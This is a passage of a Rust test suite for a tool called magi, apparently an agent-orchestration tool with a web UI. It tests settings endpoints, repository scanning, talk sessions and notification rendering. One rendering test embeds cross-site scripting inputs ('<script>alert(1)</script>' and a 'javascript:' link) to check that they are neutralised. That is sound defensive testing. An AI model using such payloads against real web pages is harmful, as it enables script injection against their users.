14378        assert_eq!(error.status, 200);
14379        assert!(error.json()["error"]["message"].is_string());
14380        assert_eq!(error.json()["repositories"], default["repositories"]);
14381    }
14382
14383    #[tokio::test]
14384    async fn settings_get_reports_sources_and_the_advisors_fallback() {
14385        let (_tmp, repo, machine) =
14386            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14387        let f = Fixture::with_repo_and_machine(repo, machine).await;
14388        let res = f.get("/api/settings").await;
14389        assert_eq!(res.status, 200, "{}", res.body);
14390        let v = res.json();
14391        assert!(v["error"].is_null(), "{v}");
14392        let role = |k: &str| {
14393            v["roles"]
14394                .as_array()
14395                .and_then(|r| r.iter().find(|x| x["key"] == k))
14396                .cloned()
14397                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14398        };
14399        assert_eq!(role("judges")["source"], "machine");
14400        assert_eq!(role("judges")["editable"], true);
14401        assert_eq!(role("implementers")["source"], "default");
14402        let adv = role("advisors");
14403        assert_eq!(adv["fallback"], "judges");
14404        assert!(
14405            adv["seats"]
14406                .as_array()
14407                .is_some_and(|s| s.iter().all(|x| x == "b")),
14408            "{adv}"
14409        );
14410        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14411        assert_eq!(v["agents"][0]["source"], "repo");
14412    }
14413
14414    #[tokio::test]
14415    async fn settings_get_reports_a_config_that_does_not_parse() {
14416        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14417        let f = Fixture::with_repo_and_machine(repo, machine).await;
14418        let res = f.get("/api/settings").await;
14419        assert_eq!(res.status, 200, "{}", res.body);
14420        let v = res.json();
14421        assert!(v["error"]["message"].is_string(), "{v}");
14422        assert!(
14423            v["error"]["path"]
14424                .as_str()
14425                .is_some_and(|p| p.ends_with("magi.toml")),
14426            "{v}"
14427        );
14428        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14429    }
14430
14431    #[tokio::test]
14432    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14433        let (_tmp, repo, machine) = settings_dirs(
14434            SETTINGS_AGENTS,
14435            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
14436        );
14437        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14438        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14439        let rev = f.get("/api/settings").await.json()["revision"]
14440            .as_str()
14441            .expect("revision")
14442            .to_owned();
14443        let body = serde_json::json!({
14444            "revision": rev,
14445            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14446        })
14447        .to_string();
14448        let res = f.put("/api/settings/roles", &body).await;
14449        assert_eq!(res.status, 200, "{}", res.body);
14450        let text = std::fs::read_to_string(&machine).expect("machine");
14451        assert_eq!(
14452            text,
14453            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14454        );
14455        assert_eq!(
14456            std::fs::read(repo.join("magi.toml")).expect("read"),
14457            repo_before
14458        );
14459        let again = f.get("/api/settings").await.json();
14460        let judges = again["roles"]
14461            .as_array()
14462            .expect("roles")
14463            .iter()
14464            .find(|r| r["key"] == "judges")
14465            .expect("judges")
14466            .clone();
14467        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14468        // The old revision is now stale.
14469        let stale = f.put("/api/settings/roles", &body).await;
14470        assert_eq!(stale.status, 409, "{}", stale.body);
14471    }
14472
14473    #[tokio::test]
14474    async fn settings_counts_are_reported_and_saved() {
14475        let (_tmp, repo, machine) = settings_dirs(
14476            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14477            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14478        );
14479        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14480        let v = f.get("/api/settings").await.json();
14481        let count = |v: &serde_json::Value, k: &str| {
14482            v["roles"]
14483                .as_array()
14484                .and_then(|r| r.iter().find(|x| x["key"] == k))
14485                .map(|x| x["count"].clone())
14486                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14487        };
14488        let imp = count(&v, "implementers");
14489        assert_eq!(imp["value"], 2);
14490        assert_eq!(imp["source"], "machine");
14491        assert_eq!(imp["file_key"], "candidates");
14492        assert_eq!(imp["roster_len"], 2);
14493        assert_eq!(imp["backups"], 0);
14494        assert_eq!(count(&v, "judges")["source"], "default");
14495        assert_eq!(count(&v, "advisors")["min"], 0);
14496        assert_eq!(count(&v, "reviewers")["editable"], false);
14497        assert!(
14498            count(&v, "reviewers")["locked_reason"]
14499                .as_str()
14500                .is_some_and(|m| m.contains("graph.reviewers"))
14501        );
14502        assert!(count(&v, "fixer").is_null());
14503        let rev = v["revision"].as_str().expect("revision").to_owned();
14504        let body = serde_json::json!({
14505            "revision": rev,
14506            "roles": { "judges": ["b"] },
14507            "counts": { "implementers": 1, "advisors": 0 }
14508        })
14509        .to_string();
14510        let res = f.put("/api/settings/roles", &body).await;
14511        assert_eq!(res.status, 200, "{}", res.body);
14512        let text = std::fs::read_to_string(&machine).expect("machine");
14513        assert_eq!(
14514            text,
14515            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
14516        );
14517        let after = f.get("/api/settings").await.json();
14518        assert_eq!(count(&after, "implementers")["value"], 1);
14519        assert_eq!(count(&after, "implementers")["backups"], 1);
14520        assert_eq!(count(&after, "advisors")["value"], 0);
14521        let before = std::fs::read_to_string(&machine).expect("machine");
14522        let rev = after["revision"].as_str().expect("revision").to_owned();
14523        for counts in [
14524            serde_json::json!({ "judges": 0 }),
14525            serde_json::json!({ "judges": "x" }),
14526            serde_json::json!({ "judges": 2.5 }),
14527            serde_json::json!({ "judges": -1 }),
14528            serde_json::json!({ "reviewers": 3 }),
14529            serde_json::json!({ "bogus": 3 }),
14530        ] {
14531            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14532            let res = f.put("/api/settings/roles", &body).await;
14533            assert_eq!(res.status, 422, "{counts}: {}", res.body);
14534            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14535        }
14536    }
14537
14538    #[tokio::test]
14539    async fn settings_put_refuses_without_touching_the_file() {
14540        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14541        let (_tmp, repo, machine) = settings_dirs(
14542            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14543            Some(machine_text),
14544        );
14545        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14546        let rev = f.get("/api/settings").await.json()["revision"]
14547            .as_str()
14548            .expect("revision")
14549            .to_owned();
14550        for roles in [
14551            serde_json::json!({ "judges": ["nope"] }),
14552            serde_json::json!({ "reviewers": ["b"] }),
14553            serde_json::json!({ "bogus": ["a"] }),
14554        ] {
14555            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
14556            let res = f.put("/api/settings/roles", &body).await;
14557            assert_eq!(res.status, 422, "{roles}: {}", res.body);
14558            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
14559            assert_eq!(
14560                std::fs::read_to_string(&machine).expect("machine"),
14561                machine_text
14562            );
14563        }
14564    }
14565
14566    #[tokio::test]
14567    async fn repos_list_returns_name_and_path_for_every_configured_root() {
14568        let tmp = TempDir::new().expect("tempdir");
14569        let repo = tmp.path().join("repo");
14570        std::fs::create_dir_all(&repo).expect("repo dir");
14571        let root = tmp.path().join("root");
14572        make_checkout(&root, "github.com", "yukimemi", "magi");
14573        std::fs::write(
14574            repo.join("magi.toml"),
14575            format!(
14576                "[repos]\nroots = [{:?}]\n",
14577                root.to_string_lossy().into_owned()
14578            ),
14579        )
14580        .expect("write magi.toml");
14581
14582        let f = Fixture::with_repo(repo).await;
14583        let res = f.get("/api/repos").await;
14584        assert_eq!(res.status, 200, "{}", res.body);
14585        let list = res.json();
14586        let repos = list.as_array().expect("an array");
14587        assert_eq!(repos.len(), 1);
14588        assert_eq!(repos[0]["name"], "yukimemi/magi");
14589        assert!(
14590            repos[0]["path"]
14591                .as_str()
14592                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
14593            "{list}"
14594        );
14595    }
14596
14597    #[tokio::test]
14598    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
14599        let tmp = TempDir::new().expect("tempdir");
14600        let repo = tmp.path().join("repo");
14601        std::fs::create_dir_all(&repo).expect("repo dir");
14602        let root = tmp.path().join("root");
14603        make_checkout(&root, "github.com", "yukimemi", "magi");
14604        std::fs::write(
14605            repo.join("magi.toml"),
14606            format!(
14607                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
14608                root.to_string_lossy().into_owned()
14609            ),
14610        )
14611        .expect("write magi.toml");
14612
14613        let f = Fixture::with_repo(repo).await;
14614        let first = f.get("/api/repos").await;
14615        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
14616
14617        // A second checkout appears; within the TTL the cached answer must
14618        // not notice it.
14619        make_checkout(&root, "github.com", "yukimemi", "rvpm");
14620        let second = f.get("/api/repos").await;
14621        assert_eq!(
14622            second.json().as_array().map(Vec::len),
14623            Some(1),
14624            "a fresh cache must not rescan inside the TTL"
14625        );
14626
14627        let refreshed = f.get("/api/repos?refresh=1").await;
14628        assert_eq!(
14629            refreshed.json().as_array().map(Vec::len),
14630            Some(2),
14631            "an explicit refresh must rescan even inside the TTL"
14632        );
14633    }
14634
14635    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
14636    /// string, declared straight in a repository's own `magi.toml` rather
14637    /// than the operator's real roster. No real agent CLI is spawned - `sh`
14638    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
14639    /// this is safe to run over a real HTTP round trip.
14640    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
14641
14642    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
14643    /// real `Config::discover` to find an agent - `talk::begin` resolves one
14644    /// even though it takes no turn, and `talk_say` invokes one.
14645    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14646        let tmp = TempDir::new().expect("tempdir");
14647        let repo = tmp.path().join("repo");
14648        std::fs::create_dir_all(&repo).expect("repo dir");
14649        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14650        let f = Fixture::with_repo(repo.clone()).await;
14651        (tmp, repo, f)
14652    }
14653
14654    #[tokio::test]
14655    async fn posting_a_talk_with_remembered_choices_is_soft() {
14656        let (_tmp, _repo, f) = talk_fixture().await;
14657
14658        let good = f
14659            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14660            .await;
14661        assert_eq!(good.status, 201, "{}", good.body);
14662        assert_eq!(good.json()["persona"], "rei");
14663
14664        // Wrong values and wrong types are dropped one by one, never a 4xx.
14665        let stale = f
14666            .post(
14667                "/api/talks",
14668                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14669            )
14670            .await;
14671        assert_eq!(stale.status, 201, "{}", stale.body);
14672        let v = stale.json();
14673        assert_eq!(v["implementers"], 1);
14674        assert_ne!(v["persona"], "nobody");
14675        let typed = f
14676            .post(
14677                "/api/talks",
14678                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14679            )
14680            .await;
14681        assert_eq!(typed.status, 201, "{}", typed.body);
14682
14683        // The strict `agent` field still refuses an unknown id.
14684        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14685        assert!(
14686            !strict.status.to_string().starts_with('2'),
14687            "{}",
14688            strict.body
14689        );
14690    }
14691
14692    #[tokio::test]
14693    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14694        let (_tmp, _repo, f) = talk_fixture().await;
14695
14696        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
14697        // is the ordinary way a phone opens a talk.
14698        let opened = f.post("/api/talks", None).await;
14699        assert_eq!(opened.status, 201, "{}", opened.body);
14700        let body = opened.json();
14701        assert_eq!(body["status"], "open");
14702        assert_eq!(
14703            body["turns"].as_array().unwrap().len(),
14704            0,
14705            "opening takes no agent turn: there is nothing yet to answer"
14706        );
14707
14708        // An explicit empty object is the same request as none at all.
14709        let also_opened = f.post("/api/talks", Some("{}")).await;
14710        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14711
14712        let listed = f.get("/api/talks").await.json();
14713        assert_eq!(listed.as_array().unwrap().len(), 2);
14714    }
14715
14716    #[tokio::test]
14717    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14718        let tmp = TempDir::new().expect("tempdir");
14719        let repo = tmp.path().join("repo");
14720        std::fs::create_dir_all(&repo).expect("repo dir");
14721        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14722        std::fs::write(
14723            repo.join("magi.toml"),
14724            format!("{MOCK_AGENT_TOML}\n{second}"),
14725        )
14726        .expect("write magi.toml");
14727        let home = TempDir::new().expect("temp home");
14728        let talks = Talks::at(home.path().join("talks"));
14729        let ui = Arc::new(
14730            Ui::new(
14731                Queue::at(home.path().join("queue")),
14732                Questions::at(home.path().join("questions")),
14733                talks.clone(),
14734                home.path().join("runs"),
14735                home.path().to_path_buf(),
14736                repo.clone(),
14737            )
14738            .with_worktrees_root(home.path().join("wt")),
14739        );
14740        let cfg = config_for(&repo).await.expect("discover config");
14741        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14742        let id = talk.id.clone();
14743        let call = |agent: &str| {
14744            talk_agent(
14745                State(Arc::clone(&ui)),
14746                Path(id.clone()),
14747                Json(TalkAgent {
14748                    agent: agent.to_owned(),
14749                }),
14750            )
14751        };
14752
14753        let unknown = call("nobody").await.expect_err("unknown agent");
14754        assert_eq!(
14755            unknown.status,
14756            StatusCode::BAD_REQUEST,
14757            "{}",
14758            unknown.message
14759        );
14760
14761        {
14762            // Nothing refused so far took a claim, so the guard is free to take
14763            // and holding it is what makes the talk busy.
14764            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14765            let busy = call("second").await.expect_err("busy talk");
14766            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14767            assert!(
14768                busy.message.contains("a talk turn is running"),
14769                "{}",
14770                busy.message
14771            );
14772            drop(guard);
14773        }
14774        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14775
14776        let Json(view) = call("second").await.expect("switch");
14777        assert_eq!(view.talk.agent, "second");
14778        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14779        let saved = talks.get(&id).expect("reload");
14780        assert_eq!(saved.agent, "second");
14781        assert_eq!(saved.turns.len(), 1);
14782        assert!(!view.thinking);
14783        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14784        for agent in ["mock", "second"] {
14785            let Json(view) = call(agent).await.expect("immediate consecutive change");
14786            assert_eq!(view.talk.agent, agent);
14787            assert!(!view.thinking);
14788            assert!(!ui.is_thinking(&id));
14789        }
14790
14791        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14792            .await
14793            .expect("detail");
14794        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14795        assert_eq!(roster, ["mock", "second"]);
14796
14797        let mut closed = talks.get(&id).expect("reload");
14798        talk::close(&mut closed, &talks).expect("close");
14799        let refused = call("mock").await.expect_err("closed talk");
14800        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14801        assert!(
14802            refused.message.contains("takes no more turns"),
14803            "{}",
14804            refused.message
14805        );
14806    }
14807
14808    #[tokio::test]
14809    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14810        let tmp = TempDir::new().expect("tempdir");
14811        let repo = tmp.path().join("repo");
14812        std::fs::create_dir_all(&repo).expect("repo dir");
14813        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14814        let home = TempDir::new().expect("temp home");
14815        let talks = Talks::at(home.path().join("talks"));
14816        let ui = Arc::new(
14817            Ui::new(
14818                Queue::at(home.path().join("queue")),
14819                Questions::at(home.path().join("questions")),
14820                talks.clone(),
14821                home.path().join("runs"),
14822                home.path().to_path_buf(),
14823                repo.clone(),
14824            )
14825            .with_worktrees_root(home.path().join("wt")),
14826        );
14827        let cfg = config_for(&repo).await.expect("discover config");
14828        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14829        let id = talk.id.clone();
14830        let call = |n: u8| {
14831            talk_implementers(
14832                State(Arc::clone(&ui)),
14833                Path(id.clone()),
14834                Json(TalkImplementers { implementers: n }),
14835            )
14836        };
14837
14838        for bad in [0u8, 4] {
14839            let e = call(bad).await.expect_err("out of range");
14840            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14841        }
14842        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14843
14844        {
14845            // Nothing refused so far took a claim, so the guard is free to take
14846            // and holding it is what makes the talk busy.
14847            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14848            let busy = call(2).await.expect_err("busy talk");
14849            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14850            assert!(
14851                busy.message.contains("a talk turn is running"),
14852                "{}",
14853                busy.message
14854            );
14855            drop(guard);
14856        }
14857
14858        let Json(view) = call(3).await.expect("switch");
14859        assert_eq!(view.talk.implementers, 3);
14860        assert!(talks.get(&id).expect("reload").implementers_dirty);
14861        assert!(!view.thinking);
14862        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14863        for n in [1, 2, 3] {
14864            let Json(view) = call(n).await.expect("immediate consecutive change");
14865            assert_eq!(view.talk.implementers, n);
14866            assert!(!view.thinking);
14867            assert!(!ui.is_thinking(&id));
14868        }
14869
14870        let mut closed = talks.get(&id).expect("reload");
14871        talk::close(&mut closed, &talks).expect("close");
14872        let e = call(2).await.expect_err("closed talk");
14873        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14874        assert!(e.message.contains("takes no more turns"), "{}", e.message);
14875    }
14876
14877    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
14878    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14879        let tmp = TempDir::new().expect("tempdir");
14880        let repo = tmp.path().join("repo");
14881        std::fs::create_dir_all(&repo).expect("repo dir");
14882        std::fs::write(
14883            repo.join("magi.toml"),
14884            format!("{MOCK_AGENT_TOML}\n{extra}"),
14885        )
14886        .expect("write magi.toml");
14887        let home = TempDir::new().expect("temp home");
14888        let talks = Talks::at(home.path().join("talks"));
14889        let ui = Arc::new(
14890            Ui::new(
14891                Queue::at(home.path().join("queue")),
14892                Questions::at(home.path().join("questions")),
14893                talks.clone(),
14894                home.path().join("runs"),
14895                home.path().to_path_buf(),
14896                repo.clone(),
14897            )
14898            .with_worktrees_root(home.path().join("wt")),
14899        );
14900        let cfg = config_for(&repo).await.expect("discover config");
14901        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14902        (tmp, home, ui, talk.id, repo)
14903    }
14904
14905    #[tokio::test]
14906    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14907        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14908        let mut conversation = ui.talks.get(&id).unwrap();
14909        talk::record(
14910            &mut conversation,
14911            &ui.talks,
14912            "# Update on a task you filed\noperator words",
14913            vec![],
14914        )
14915        .unwrap();
14916        // Simulate an old operator record; headings do not prove authorship.
14917        conversation.turns[0].sender = None;
14918        conversation.turns[0].messages.clear();
14919        ui.talks.put(&mut conversation).unwrap();
14920        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14921        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14922        talk::drain(&mut conversation, &ui.talks).unwrap();
14923        talk::record_reply(
14924            &mut conversation,
14925            &ui.talks,
14926            "about that report",
14927            vec![],
14928            Some(talk::ReplyTarget {
14929                turn: 1,
14930                message: 1,
14931            }),
14932        )
14933        .unwrap();
14934        conversation.turns[2].messages[0]
14935            .reply
14936            .as_mut()
14937            .unwrap()
14938            .sender = None;
14939        conversation.turns.push(talk::Turn {
14940            sender: Some(talk::Sender::Persona),
14941            who: talk::Who::Agent,
14942            body: "magi: actual persona words".into(),
14943            at: Timestamp::now(),
14944            attachments: vec![],
14945            usage: None,
14946            breaks: None,
14947            messages: vec![],
14948            posted_by: None,
14949        });
14950        ui.talks.put(&mut conversation).unwrap();
14951        let view = TalkView::with_config(
14952            ui.talks.get(&id).unwrap(),
14953            false,
14954            None,
14955            &ui.home,
14956            &ui.references,
14957        );
14958        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14959        assert_eq!(
14960            view.talk.turns[1].messages[0].sender,
14961            Some(talk::Sender::Operator)
14962        );
14963        assert_eq!(
14964            view.talk.turns[1].messages[1].sender,
14965            Some(talk::Sender::Magi)
14966        );
14967        assert_eq!(
14968            view.talk.turns[2].messages[0]
14969                .reply
14970                .as_ref()
14971                .unwrap()
14972                .sender,
14973            Some(talk::Sender::Magi)
14974        );
14975        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14976        assert_eq!(view.turn_messages_md[0].len(), 1);
14977        assert!(view.turn_messages_md[0][0].is_none());
14978        assert!(view.turn_messages_md[1][0].is_none());
14979        assert!(view.turn_messages_md[1][1].is_some());
14980    }
14981
14982    #[tokio::test]
14983    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14984        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14985        let mut conversation = ui.talks.get(&id).unwrap();
14986        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14987        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14988        talk::queue_notice(
14989            &mut conversation,
14990            &ui.talks,
14991            &body,
14992            "watch:123",
14993            &|_| false,
14994            crate::chat_control::standing::Event::Watch {
14995                id: "watch-123".into(),
14996            },
14997            display.clone(),
14998        )
14999        .unwrap();
15000        assert!(
15001            !talk::queue_notice(
15002                &mut conversation,
15003                &ui.talks,
15004                &body,
15005                "watch:123",
15006                &|_| false,
15007                crate::chat_control::standing::Event::Watch {
15008                    id: "watch-123".into()
15009                },
15010                display.clone()
15011            )
15012            .unwrap()
15013        );
15014        let saved = ui.talks.get(&id).unwrap();
15015        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
15016        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
15017        assert!(
15018            view.talk.turns[0].messages[0].display.is_none(),
15019            "operator copy stays literal"
15020        );
15021        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
15022        assert!(view.turn_messages_md[0][0].is_none());
15023        let queued_md = view.pending_messages_md[0].clone();
15024        assert_eq!(
15025            queued_md,
15026            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
15027        );
15028        talk::drain(&mut conversation, &ui.talks).unwrap();
15029        talk::record_reply(
15030            &mut conversation,
15031            &ui.talks,
15032            "Explain",
15033            vec![],
15034            Some(talk::ReplyTarget {
15035                turn: 1,
15036                message: 0,
15037            }),
15038        )
15039        .unwrap();
15040        let mut saved = ui.talks.get(&id).unwrap();
15041        assert_eq!(saved.turns[1].messages[0].body, body);
15042        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
15043        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
15044        assert!(!reply.excerpt.contains("automatic report"));
15045        reply.excerpt = body.chars().take(240).collect(); // old saved quote
15046        saved.turns[1].messages[0].display = None; // old MAGI send
15047        ui.talks.put(&mut saved).unwrap();
15048        let view = TalkView::with_config(
15049            ui.talks.get(&id).unwrap(),
15050            false,
15051            None,
15052            &ui.home,
15053            &ui.references,
15054        );
15055        assert_eq!(view.turn_messages_md[1][0], queued_md);
15056        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
15057        assert!(
15058            !view.talk.turns[2].messages[0]
15059                .reply
15060                .as_ref()
15061                .unwrap()
15062                .excerpt
15063                .contains("automatic report")
15064        );
15065        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
15066    }
15067
15068    #[tokio::test]
15069    async fn consultation_display_hides_directives_in_queue_and_history() {
15070        for node in [
15071            "implement",
15072            crate::land::APPROVAL_NODE,
15073            crate::github_text::ASK_NODE,
15074        ] {
15075            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15076            let mut question = Question::new(
15077                "run-123".into(),
15078                node.into(),
15079                "seat-1".into(),
15080                "Which backend?".into(),
15081                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
15082                vec!["SQLite".into(), "Redis".into()],
15083            );
15084            ui.questions.put(&mut question).unwrap();
15085            let body = crate::prompt::chat_consult(&question);
15086            let mut conversation = ui.talks.get(&id).unwrap();
15087            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15088            assert!(
15089                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15090            );
15091            conversation = ui.talks.get(&id).unwrap();
15092            assert_eq!(conversation.pending_messages[0].body, body);
15093            assert!(body.contains("magi answer"));
15094            let mut legacy_pending = conversation.clone();
15095            legacy_pending.pending_messages[0].display = None;
15096            let legacy_view =
15097                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15098            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15099            assert!(legacy_md.contains("Question consultation"));
15100            assert!(!legacy_md.contains("magi answer"));
15101            let view =
15102                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15103            assert!(
15104                view.turn_messages_md[0][0].is_none(),
15105                "operator copy stays literal"
15106            );
15107            let queued_md = view.pending_messages_md[0].clone().unwrap();
15108            let rendered = serde_json::to_string(&queued_md).unwrap();
15109            for visible in [
15110                "Which backend?",
15111                "Context",
15112                "storage",
15113                "SQLite",
15114                "Redis",
15115                "<script>literal</script>",
15116            ] {
15117                assert!(rendered.contains(visible), "missing {visible}");
15118            }
15119            for directive in [
15120                "What to do",
15121                "magi answer",
15122                "Never answer it yourself",
15123                "Do not edit the repository",
15124            ] {
15125                assert!(!rendered.contains(directive), "exposed {directive}");
15126            }
15127            assert_eq!(
15128                view.talk.pending_messages[0].display,
15129                Some(crate::prompt::chat_consult_display(&question))
15130            );
15131            talk::drain(&mut conversation, &ui.talks).unwrap();
15132            let view =
15133                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15134            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15135            assert_eq!(conversation.turns[1].messages[0].body, body);
15136
15137            // Historical consultations lack a snapshot: show a safe placeholder
15138            // rather than parsing instructions or reconstructing mutable facts.
15139            conversation.turns[1].messages[0].display = None;
15140            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15141            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15142            assert!(legacy.contains("Question consultation"));
15143            assert!(!legacy.contains("magi answer"));
15144            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15145        }
15146    }
15147
15148    #[test]
15149    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15150        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15151        let (body, mut display) =
15152            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15153        display.facts = facts.into();
15154        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15155        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15156        let json = serde_json::to_string(&nodes).unwrap();
15157        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15158            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15159        }
15160        assert!(json.contains("<script>alert(1)</script>"));
15161        assert!(!json.contains("javascript:"));
15162        assert!(!json.contains("Tell the operator"));
15163        assert!(!json.contains("untrusted"));
15164        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15165        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15166        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15167        assert_eq!(
15168            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15169            md::to_nodes("# Status", &md::ImageBase::None),
15170        );
15171    }
15172
15173    #[tokio::test]
15174    async fn notification_display_recovers_exact_legacy_completion_references() {
15175        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15176        let mut conversation = ui.talks.get(&id).unwrap();
15177        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15178            id: "task-123",
15179            title: "Change",
15180            status: "done",
15181            reason: None,
15182            run: Some("run-123"),
15183            pr: None,
15184            summary: Some("Merge state unknown"),
15185            completion: None,
15186        });
15187        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15188        conversation.turns[0].sender = None;
15189        conversation.turns[0].messages.clear();
15190        conversation.turns[0].breaks = None;
15191        conversation.pending = body.clone();
15192        conversation
15193            .completion_notices
15194            .push(crate::chat_notify::CompletionReference {
15195                task: "task-123".into(),
15196                run: Some("run-123".into()),
15197                notice: body.clone(),
15198            });
15199        ui.talks.put(&mut conversation).unwrap();
15200        let view = TalkView::with_config(
15201            ui.talks.get(&id).unwrap(),
15202            false,
15203            None,
15204            &ui.home,
15205            &ui.references,
15206        );
15207        assert_eq!(
15208            view.talk.turns[0].messages[0].display,
15209            Some(display.clone())
15210        );
15211        assert_eq!(view.talk.pending_messages[0].display, Some(display));
15212        assert_eq!(
15213            view.talk.turns[0].messages[0].sender,
15214            Some(talk::Sender::Magi)
15215        );
